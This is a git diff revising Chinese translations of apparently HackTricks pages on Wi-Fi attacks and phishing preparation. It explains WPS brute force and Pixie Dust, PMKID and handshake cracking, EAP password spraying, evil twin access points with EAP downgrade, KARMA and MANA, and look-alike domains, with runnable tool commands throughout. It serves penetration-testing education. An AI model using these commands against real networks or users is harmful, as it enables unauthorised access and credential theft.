WPS (Wi-Fi Protected Setup) 简化了将设备连接到路由器的过程,提高了加密为 **WPA** 或 **WPA2** 个人网络的设置速度和便利性。对于容易被攻破的 WEP 安全性,它是无效的。WPS 使用一个 8 位数字的 PIN,分为两部分进行验证,使其由于组合数量有限(11,000 种可能性)而容易受到暴力攻击。
|
||||
|
||||
### WPS 暴力破解
|
||||
|
||||
执行此操作的主要工具有两个:Reaver 和 Bully。
|
||||
|
||||
- **Reaver** 被设计为对 WPS 的一种强大且实用的攻击,并已针对各种接入点和 WPS 实现进行了测试。
|
||||
- **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 语言编写。它相较于原始的 Reaver 代码有几个优点:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
|
||||
- **Reaver** 被设计为对 WPS 的一种强大且实用的攻击,并已在各种接入点和 WPS 实现中进行了测试。
|
||||
- **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 编写。它相较于原始的 Reaver 代码有几个优势:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
|
||||
|
||||
该攻击利用了 **WPS PIN 的漏洞**,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力攻击。然而,针对暴力攻击的防御措施,如 **阻止攻击者的 MAC 地址**,需要 **MAC 地址轮换** 以继续攻击。
|
||||
|
||||
@ -212,12 +213,12 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
|
||||
这种精细的方法针对使用已知漏洞的WPS PIN:
|
||||
|
||||
1. **预先发现的PIN**:利用与特定制造商相关的已知PIN数据库,这些制造商使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能的PIN相关联。
|
||||
1. **预先发现的PIN**:利用与特定制造商相关的已知PIN数据库,这些制造商已知使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能的PIN相关联。
|
||||
2. **PIN生成算法**:利用像ComputePIN和EasyBox这样的算法,根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID,为PIN生成过程增加了一层。
|
||||
|
||||
### WPS Pixie Dust攻击
|
||||
|
||||
**Dominique Bongard**发现了一些接入点(AP)在创建秘密代码(称为**nonces**,**E-S1**和**E-S2**)方面的缺陷。如果这些nonces能够被破解,破解AP的WPS PIN就变得容易。AP在一个特殊代码(哈希)中透露PIN,以证明其合法性而不是伪造(恶意)AP。这些nonces本质上是解锁存放WPS PIN的“保险箱”的“钥匙”。更多信息可以在[这里](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)找到。
|
||||
**Dominique Bongard**发现了一些接入点(AP)在创建秘密代码(称为**nonces**(**E-S1**和**E-S2**))方面的缺陷。如果这些nonces能够被破解,破解AP的WPS PIN就变得容易。AP在一个特殊代码(哈希)中透露PIN,以证明其合法性而不是伪造(恶意)AP。这些nonces本质上是解锁存放WPS PIN的“保险箱”的“钥匙”。更多信息可以在[这里](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)找到。
|
||||
|
||||
简单来说,问题在于一些AP在连接过程中没有使用足够随机的密钥来加密PIN。这使得PIN容易被从网络外部猜测(离线暴力破解攻击)。
|
||||
```bash
|
||||
@ -243,12 +244,12 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
- 5 和 6 让你尝试 **你的自定义 PIN**(如果你有的话)
|
||||
- 7 和 8 执行 **Pixie Dust 攻击**
|
||||
- 13 允许你测试 **NULL PIN**
|
||||
- 11 和 12 将 **从可用数据库中重新收集与所选 AP 相关的 PIN** 并 **生成** 可能的 **PIN**,使用:ComputePIN、EasyBox 和可选的 Arcadyan(推荐,为什么不呢?)
|
||||
- 11 和 12 将 **从可用数据库中收集与所选 AP 相关的 PIN** 并 **生成** 可能的 **PIN**,使用:ComputePIN、EasyBox 和可选的 Arcadyan(推荐,为什么不呢?)
|
||||
- 9 和 10 将测试 **每一个可能的 PIN**
|
||||
|
||||
## **WEP**
|
||||
|
||||
现在已经破损且不再使用。只需知道 _**airgeddon**_ 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似的选项。
|
||||
现在已经破损且不再使用。只需知道 _**airgeddon**_ 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似选项。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -260,15 +261,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
|
||||
### PMKID
|
||||
|
||||
在 2018 年,**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html) 一种新的攻击方法,独特之处在于它只需要 **一个单一的数据包**,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
|
||||
在 2018 年,**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html) 了一种新的攻击方法,独特之处在于它只需要 **一个单一的数据包**,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
|
||||
|
||||
许多现代路由器在关联期间向 **第一个 EAPOL** 帧添加一个 **可选字段**,称为 `Robust Security Network`。这包括 `PMKID`。
|
||||
许多现代路由器在关联期间向 **第一个 EAPOL** 帧添加了一个 **可选字段**,称为 `Robust Security Network`。这包括 `PMKID`。
|
||||
|
||||
正如原始帖子所解释的,**PMKID** 是使用已知数据创建的:
|
||||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
鉴于“PMK 名称”是恒定的,我们知道 AP 和站点的 BSSID,并且 `PMK` 与完整的 4 次握手中的相同,**hashcat** 可以利用这些信息来破解 PSK 并恢复密码短语!
|
||||
鉴于“PMK名称”是恒定的,我们知道AP和站点的BSSID,并且`PMK`与完整的4次握手中的相同,**hashcat**可以利用这些信息来破解PSK并恢复密码短语!
|
||||
|
||||
要**收集**这些信息并在本地**暴力破解**密码,您可以执行:
|
||||
```bash
|
||||
@ -283,7 +284,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
捕获的 **PMKIDs** 将显示在 **控制台** 中,并且也会 **保存在** \_ **/tmp/attack.pcap**\_\
|
||||
现在,将捕获的数据转换为 **hashcat/john** 格式并进行破解:
|
||||
现在,将捕获的数据转换为 **hashcat/john** 格式并破解它:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
@ -303,10 +304,10 @@ _我注意到使用这个工具捕获的一些握手即使知道正确的密码
|
||||
|
||||
### 握手捕获
|
||||
|
||||
对**WPA/WPA2**网络的攻击可以通过捕获**握手**并尝试**离线破解**密码来执行。这个过程涉及监控特定网络和**BSSID**在特定**频道**上的通信。以下是简化的指南:
|
||||
对 **WPA/WPA2** 网络的攻击可以通过捕获 **握手** 并尝试 **离线破解** 密码来执行。这个过程涉及监控特定网络和 **BSSID** 在特定 **频道** 上的通信。以下是简化的指南:
|
||||
|
||||
1. 确定目标网络的**BSSID**、**频道**和**连接的客户端**。
|
||||
2. 使用`airodump-ng`在指定的频道和BSSID上监控网络流量,期望捕获一个握手。命令将如下所示:
|
||||
1. 确定目标网络的 **BSSID**、**频道** 和 **连接的客户端**。
|
||||
2. 使用 `airodump-ng` 监控指定频道和 BSSID 的网络流量,期望捕获一个握手。命令将如下所示:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
@ -358,7 +359,7 @@ pyrit -r psk-01.cap analyze
|
||||
3. **EAP-TLS (传输层安全)**:
|
||||
- 利用客户端和服务器端证书进行认证,并可以动态生成基于用户和会话的WEP密钥以保护通信。
|
||||
4. **EAP-TTLS (隧道传输层安全)**:
|
||||
- 通过加密隧道提供互认证,并提供一种方法来推导动态的、每用户、每会话的WEP密钥。只需要服务器端证书,客户端使用凭据。
|
||||
- 通过加密隧道提供相互认证,并提供一种方法来推导动态的、每用户、每会话的WEP密钥。只需要服务器端证书,客户端使用凭据。
|
||||
5. **PEAP (受保护的可扩展认证协议)**:
|
||||
- 通过创建TLS隧道进行受保护的通信,功能类似于EAP。由于隧道提供的保护,它允许在EAP之上使用较弱的认证协议。
|
||||
- **PEAP-MSCHAPv2**: 通常称为PEAP,它将脆弱的MSCHAPv2挑战/响应机制与保护性的TLS隧道结合在一起。
|
||||
@ -389,13 +390,13 @@ pyrit -r psk-01.cap analyze
|
||||
|
||||
EAP-TTLS遵循稍微不同的程序。在EAP-TTLS中,客户端通常使用PAP或CHAP进行身份验证,受TLS隧道保护。在这种情况下,客户端在隧道建立后发送的初始TLS消息中包含一个用户名称属性和一个密码或CHAP密码属性。
|
||||
|
||||
无论选择哪种协议,PEAP/TTLS服务器在建立TLS隧道后都会了解用户的真实身份。真实身份可以表示为user@realm或简单的user。如果PEAP/TTLS服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续进行受TLS隧道保护的认证方法。或者,PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的家庭RADIUS服务器。此新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的认证方法为EAP的情况下,内部EAP消息将被传输到家庭RADIUS服务器,而没有EAP-PEAP或EAP-TTLS包装。发出的RADIUS消息的用户名称属性包含用户的真实身份,替换了来自传入RADIUS请求的匿名用户名称。当受保护的认证方法为PAP或CHAP(仅TTLS支持)时,从TLS有效负载中提取的用户名称和其他认证属性将替换为发出的RADIUS消息,取代传入RADIUS请求中的匿名用户名称和TTLS EAP-消息属性。
|
||||
无论选择哪种协议,PEAP/TTLS服务器在建立TLS隧道后都会了解用户的真实身份。真实身份可以表示为user@realm或简单的user。如果PEAP/TTLS服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续进行受TLS隧道保护的认证方法。或者,PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的家庭RADIUS服务器。此新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的认证方法为EAP的情况下,内部EAP消息在没有EAP-PEAP或EAP-TTLS包装的情况下传输到家庭RADIUS服务器。发出的RADIUS消息的用户名称属性包含用户的真实身份,替换了来自传入RADIUS请求的匿名用户名称。当受保护的认证方法为PAP或CHAP(仅TTLS支持)时,从TLS有效负载中提取的用户名称和其他认证属性被替换到发出的RADIUS消息中,取代了传入RADIUS请求中找到的匿名用户名称和TTLS EAP-消息属性。
|
||||
|
||||
有关更多信息,请查看[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
### EAP-暴力破解(密码喷洒)
|
||||
|
||||
如果客户端预计使用**用户名和密码**(请注意**EAP-TLS在这种情况下无效**),那么您可以尝试获取**用户名**的**列表**(见下一部分)和**密码**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**。
|
||||
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS将无效**),那么您可以尝试获取**用户名**(见下一部分)和**密码**的**列表**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**。
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
@ -430,7 +431,7 @@ EAP-TTLS遵循稍微不同的程序。在EAP-TTLS中,客户端通常使用PAP
|
||||
|
||||
- 主动探测涉及站点发送探测请求以发现附近的 AP 及其特性。
|
||||
- 定向探测请求针对特定的 ESSID,帮助检测特定网络是否在范围内,即使它是一个隐藏网络。
|
||||
- 广播探测请求的 SSID 字段为空,并发送到所有附近的 AP,让站点检查任何首选网络,而不披露其 PNL 内容。
|
||||
- 广播探测请求的 SSID 字段为空,并发送到所有附近的 AP,让站点检查任何首选网络,而不透露其 PNL 内容。
|
||||
|
||||
## 简单的 AP 并重定向到互联网
|
||||
|
||||
@ -467,7 +468,7 @@ dnsmasq -C dnsmasq.conf -d
|
||||
```bash
|
||||
apt-get install hostapd
|
||||
```
|
||||
创建一个配置文件 `hostapd.conf`:
|
||||
创建配置文件 `hostapd.conf`:
|
||||
```ini
|
||||
interface=wlan0
|
||||
driver=nl80211
|
||||
@ -500,9 +501,9 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
## Evil Twin
|
||||
|
||||
恶意双胞胎攻击利用了WiFi客户端识别网络的方式,主要依赖于网络名称(ESSID),而不需要基站(接入点)向客户端进行身份验证。关键点包括:
|
||||
恶意双胞胎攻击利用WiFi客户端识别网络的方式,主要依赖网络名称(ESSID),而不需要基站(接入点)向客户端进行身份验证。关键点包括:
|
||||
|
||||
- **区分困难**:当设备共享相同的ESSID和加密类型时,难以区分合法和恶意接入点。现实世界的网络通常使用多个具有相同ESSID的接入点以无缝扩展覆盖范围。
|
||||
- **区分困难**:当设备共享相同的ESSID和加密类型时,难以区分合法和恶意接入点。现实世界中的网络通常使用多个具有相同ESSID的接入点以无缝扩展覆盖范围。
|
||||
- **客户端漫游和连接操控**:802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点,诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过去身份验证数据包或干扰等方法中断与合法接入点的连接来实现。
|
||||
- **执行挑战**:在具有多个、位置良好的接入点的环境中成功执行恶意双胞胎攻击可能具有挑战性。去身份验证单个合法接入点通常会导致设备连接到另一个合法接入点,除非攻击者能够去身份验证所有附近的接入点或战略性地放置恶意接入点。
|
||||
|
||||
@ -514,17 +515,17 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
或使用 Airgeddon: `Options: 5,6,7,8,9 (在 Evil Twin 攻击菜单中)。`
|
||||
或使用 Airgeddon: `选项: 5,6,7,8,9(在 Evil Twin 攻击菜单中)。`
|
||||
|
||||
.png>)
|
||||
|
||||
请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 保护,设备将不会自动连接到开放的 Evil Twin。你可以尝试对真实 AP 进行 DoS 攻击,并希望用户手动连接到你的开放 Evil Twin,或者你可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 来捕获握手(使用这种方法你将无法让受害者连接到你,因为你不知道 PSK,但你可以捕获握手并尝试破解它)。
|
||||
请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 保护,设备将不会自动连接到开放的 Evil Twin。您可以尝试对真实 AP 进行 DoS 攻击,并希望用户手动连接到您的开放 Evil Twin,或者您可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 捕获握手(使用此方法您将无法让受害者连接到您,因为您不知道 PSK,但您可以捕获握手并尝试破解它)。
|
||||
|
||||
_某些操作系统和防病毒软件会警告用户连接到开放网络是危险的..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
你可以创建一个 **使用 WPA/2 的 Evil Twin**,如果设备配置为连接到该 SSID 并使用 WPA/2,它们将尝试连接。无论如何,**要完成 4-way-handshake**,你还需要 **知道** 客户端将要使用的 **密码**。如果你 **不知道**,则 **连接将无法完成**。
|
||||
您可以创建一个 **使用 WPA/2 的 Evil Twin**,如果设备已配置为使用 WPA/2 连接到该 SSID,它们将尝试连接。无论如何,**要完成 4-way-handshake**,您还需要 **知道** 客户端将使用的 **密码**。如果您 **不知道**,则 **连接将无法完成**。
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
@ -555,39 +556,39 @@ hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
这是避免长连接时间的默认方法。然而,您还可以指定将身份验证方法从最弱到最强进行服务:
|
||||
这是避免长连接时间的默认方法。然而,您还可以指定将身份验证方法从最弱到最强进行服务器处理:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
或者你也可以使用:
|
||||
|
||||
- `--negotiate gtc-downgrade` 来使用高效的 GTC 降级实现(明文密码)
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以相同顺序提供相同的认证方法,使得攻击更难被检测)。
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以相同的顺序提供相同的认证方法,使得攻击更难被检测)。
|
||||
- [在维基中找到更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**使用 Airgeddon**
|
||||
|
||||
`Airgeddon` 可以使用之前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5,以便能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
|
||||
`Airgeddon` 为你提供了 **持续的 Evil Twin 攻击(嘈杂)** 或 **仅在有人连接时创建 Evil Attack(平滑)** 的可能性。
|
||||
`Airgeddon` 为你提供了 **持续的恶意双胞胎攻击(嘈杂)** 或 **仅在有人连接时创建恶意攻击(平滑)** 的可能性。
|
||||
|
||||
.png>)
|
||||
|
||||
### 在 Evil Twins 攻击中调试 PEAP 和 EAP-TTLS TLS 隧道
|
||||
### 在恶意双胞胎攻击中调试 PEAP 和 EAP-TTLS TLS 隧道
|
||||
|
||||
_此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS 隧道,因此这也应该适用于 EAP-TTLS_
|
||||
|
||||
在 _hostapd-wpe_ 的 **配置** 中 **注释** 包含 _**dh_file**_ 的行(从 `dh_file=/etc/hostapd-wpe/certs/dh` 改为 `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
这将使 `hostapd-wpe` **使用 RSA 交换密钥** 而不是 DH,因此你将能够 **解密** 流量,前提是 **知道服务器的私钥**。
|
||||
|
||||
现在使用 **`hostapd-wpe`** 启动 **Evil Twin**,并按照通常的方式使用该修改后的配置。同时,在执行 Evil Twin 攻击的 **接口** 中启动 **`wireshark`**。
|
||||
现在使用 **`hostapd-wpe`** 启动 **恶意双胞胎**,并使用该修改过的配置如往常一样。还要在执行恶意双胞胎攻击的 **接口** 中启动 **`wireshark`**。
|
||||
|
||||
现在或稍后(当你已经捕获了一些认证意图时),你可以在 `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` 中将私有 RSA 密钥添加到 wireshark。
|
||||
现在或稍后(当你已经捕获了一些认证意图时)可以在 wireshark 中添加私有 RSA 密钥:`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
添加一个新条目,并用以下值填写表单:**IP 地址 = any** -- **端口 = 0** -- **协议 = data** -- **密钥文件**(**选择你的密钥文件**,为避免问题选择一个 **没有密码保护的密钥文件**)。
|
||||
添加一个新条目,并用以下值填写表单:**IP 地址 = any** -- **端口 = 0** -- **协议 = data** -- **密钥文件** (**选择你的密钥文件**,为避免问题选择一个 **没有密码保护的密钥文件**)。
|
||||
|
||||
.png>)
|
||||
|
||||
然后查看新的 **"Decrypted TLS" 标签**:
|
||||
然后查看新的 **"解密的 TLS" 标签**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -598,11 +599,11 @@ _此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS
|
||||
不同类型的媒体接入控制过滤列表(MFACLs)及其对应的模式和对恶意接入点(AP)行为的影响:
|
||||
|
||||
1. **基于 MAC 的白名单**:
|
||||
- 恶意 AP 仅对白名单中指定的设备的探测请求作出响应,对未列出的其他设备保持不可见。
|
||||
- 恶意 AP 仅对白名单中指定的设备的探测请求作出响应,对未列出的所有其他设备保持不可见。
|
||||
2. **基于 MAC 的黑名单**:
|
||||
- 恶意 AP 将忽略黑名单中设备的探测请求,从而使恶意 AP 对这些特定设备不可见。
|
||||
3. **基于 SSID 的白名单**:
|
||||
- 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对未包含这些 ESSID 的设备不可见。
|
||||
- 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对首选网络列表(PNL)中不包含这些 ESSID 的设备不可见。
|
||||
4. **基于 SSID 的黑名单**:
|
||||
- 恶意 AP 不会对黑名单中特定 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
|
||||
```bash
|
||||
@ -626,13 +627,13 @@ name3
|
||||
```
|
||||
### KARMA
|
||||
|
||||
此方法允许**攻击者创建一个恶意接入点(AP),对所有探测请求做出响应**,这些请求来自寻求连接网络的设备。该技术**通过模仿设备正在寻找的网络来欺骗设备连接到攻击者的AP**。一旦设备向这个流氓AP发送连接请求,它就会完成连接,导致设备错误地连接到攻击者的网络。
|
||||
此方法允许**攻击者创建一个恶意接入点(AP),对所有探测请求做出响应**,这些请求来自寻求连接网络的设备。此技术**通过模仿设备正在寻找的网络来欺骗设备连接到攻击者的AP**。一旦设备向这个流氓AP发送连接请求,它就会完成连接,导致设备错误地连接到攻击者的网络。
|
||||
|
||||
### MANA
|
||||
|
||||
然后,**设备开始忽略不可靠的网络响应**,降低了原始karma攻击的有效性。然而,一种新的方法被引入,称为**MANA攻击**,由Ian de Villiers和Dominic White提出。该方法涉及流氓AP**通过响应设备的广播探测请求来捕获设备的首选网络列表(PNL)**,并使用设备之前已知的网络名称(SSID)。这种复杂的攻击通过利用设备记忆和优先考虑已知网络的方式,绕过了对原始karma攻击的保护。
|
||||
然后,**设备开始忽略不可靠的网络响应**,降低了原始karma攻击的有效性。然而,一种新的方法被引入,称为**MANA攻击**,由Ian de Villiers和Dominic White提出。此方法涉及流氓AP**通过对设备的广播探测请求做出响应,捕获设备的首选网络列表(PNL)**,并使用设备之前已知的网络名称(SSID)。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式,绕过了对原始karma攻击的保护。
|
||||
|
||||
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求,它记录设备的MAC地址和请求的网络名称,并将这些信息添加到列表中。当接收到广播请求时,AP会以匹配设备列表中任何网络的信息进行响应,诱使设备连接到流氓AP。
|
||||
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求,它记录设备的MAC地址和请求的网络名称,并将此信息添加到列表中。当收到广播请求时,AP会以与设备列表中任何网络匹配的信息做出响应,诱使设备连接到流氓AP。
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
@ -644,7 +645,7 @@ MANA攻击通过监控设备的定向和广播探测请求来操作。对于定
|
||||
```
|
||||
### 已知信标攻击
|
||||
|
||||
当 **Loud MANA 攻击** 可能不足以满足需求时,**已知信标攻击** 提供了另一种方法。此方法 **通过模拟一个响应任何网络名称的 AP 来暴力破解连接过程,循环遍历从字典中派生的潜在 ESSID 列表**。这模拟了多个网络的存在,希望能在受害者的 PNL 中匹配到一个 ESSID,从而促使尝试连接到伪造的 AP。通过将其与 `--loud` 选项结合,可以增强攻击力度,以更激进的方式捕获设备。
|
||||
当 **Loud MANA 攻击** 可能不足以满足需求时,**已知信标攻击** 提供了另一种方法。此方法 **通过模拟一个响应任何网络名称的 AP 来暴力破解连接过程,循环遍历从字典中派生的潜在 ESSID 列表**。这模拟了多个网络的存在,希望能在受害者的 PNL 中匹配到一个 ESSID,从而促使尝试连接到伪造的 AP。通过将其与 `--loud` 选项结合,可以增强攻击力度,以更具侵略性地捕获设备。
|
||||
|
||||
Eaphammer 将此攻击实现为 MANA 攻击,其中列表中的所有 ESSID 都被激活(您也可以将其与 `--loud` 结合,以创建 Loud MANA + 已知信标攻击):
|
||||
```bash
|
||||
@ -652,7 +653,7 @@ Eaphammer 将此攻击实现为 MANA 攻击,其中列表中的所有 ESSID 都
|
||||
```
|
||||
**已知信标突发攻击**
|
||||
|
||||
**已知信标突发攻击**涉及**快速广播文件中列出的每个 ESSID 的信标帧**。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合时。该技术利用速度和数量来压倒设备的网络选择机制。
|
||||
**已知信标突发攻击**涉及**快速广播文件中列出的每个 ESSID 的信标帧**。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合使用时。该技术利用速度和数量来压倒设备的网络选择机制。
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
@ -690,6 +691,6 @@ Wi-Fi Direct 连接的安全性通过 **Wi-Fi Protected Setup (WPS)** 建立,
|
||||
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
||||
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: 查看 [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (使用 Facebook 登录并在强制门户中模拟 WPA)
|
||||
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
1. 侦查受害者
|
||||
1. 选择 **受害者域名**。
|
||||
2. 执行一些基本的网络枚举 **寻找受害者使用的登录门户** 并 **决定** 你将 **冒充** 哪一个。
|
||||
2. 执行一些基本的网络枚举 **搜索受害者使用的登录门户** 并 **决定** 你将 **冒充** 哪一个。
|
||||
3. 使用一些 **OSINT** 来 **查找电子邮件**。
|
||||
2. 准备环境
|
||||
1. **购买你将用于钓鱼评估的域名**
|
||||
@ -17,7 +17,7 @@
|
||||
2. 准备 **网页** 以窃取凭据
|
||||
4. 启动活动!
|
||||
|
||||
## 生成类似域名或购买受信任的域名
|
||||
## 生成类似域名或购买可信域名
|
||||
|
||||
### 域名变体技术
|
||||
|
||||
@ -30,13 +30,13 @@
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
- **置换**: 它 **交换域名中的两个字母** (例如,zelsetr.com)。
|
||||
- **单数/复数化**: 在域名末尾添加或删除 “s” (例如,zeltsers.com)。
|
||||
- **单数/复数化**: 在域名末尾添加或删除“s” (例如,zeltsers.com)。
|
||||
- **省略**: 它 **删除域名中的一个字母** (例如,zelser.com)。
|
||||
- **重复**: 它 **重复域名中的一个字母** (例如,zeltsser.com)。
|
||||
- **替换**: 类似于同形异义词,但不那么隐蔽。它用键盘上与原字母相近的字母替换域名中的一个字母 (例如,zektser.com)。
|
||||
- **替换**: 类似同形异义词但不那么隐蔽。它替换域名中的一个字母,可能是与原字母在键盘上相邻的字母 (例如,zektser.com)。
|
||||
- **子域化**: 在域名中引入一个 **点** (例如,ze.lster.com)。
|
||||
- **插入**: 它 **在域名中插入一个字母** (例如,zerltser.com)。
|
||||
- **缺失点**: 将 TLD 附加到域名上。 (例如,zelstercom.com)
|
||||
- **缺失点**: 将 TLD 附加到域名上 (例如,zelstercom.com)
|
||||
|
||||
**自动工具**
|
||||
|
||||
@ -51,20 +51,20 @@ homograph-attacks.md
|
||||
|
||||
### 位翻转
|
||||
|
||||
存在 **某些存储或通信中的位可能会因各种因素而自动翻转的可能性**,例如太阳耀斑、宇宙射线或硬件错误。
|
||||
有 **可能性某些存储或通信中的位会因各种因素而自动翻转**,例如太阳耀斑、宇宙射线或硬件错误。
|
||||
|
||||
当这个概念 **应用于 DNS 请求** 时,**DNS 服务器接收到的域名** 可能与最初请求的域名不同。
|
||||
|
||||
例如,域名 "windows.com" 中的单个位修改可以将其更改为 "windnws.com"。
|
||||
|
||||
攻击者可能 **利用这一点注册多个位翻转域名**,这些域名与受害者的域名相似。他们的目的是将合法用户重定向到他们自己的基础设施。
|
||||
攻击者可能 **利用这一点注册多个位翻转域名**,这些域名与受害者的域名相似。他们的意图是将合法用户重定向到他们自己的基础设施。
|
||||
|
||||
有关更多信息,请阅读 [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
### 购买受信任的域名
|
||||
### 购买可信域名
|
||||
|
||||
你可以在 [https://www.expireddomains.net/](https://www.expireddomains.net) 搜索可以使用的过期域名。\
|
||||
为了确保你要购买的过期域名 **已经有良好的 SEO**,你可以搜索它在以下网站的分类:
|
||||
你可以在 [https://www.expireddomains.net/](https://www.expireddomains.net) 搜索一个过期的域名以供使用。\
|
||||
为了确保你要购买的过期域名 **已经有良好的 SEO**,你可以查看它在以下网站的分类:
|
||||
|
||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
@ -86,7 +86,7 @@ homograph-attacks.md
|
||||
|
||||
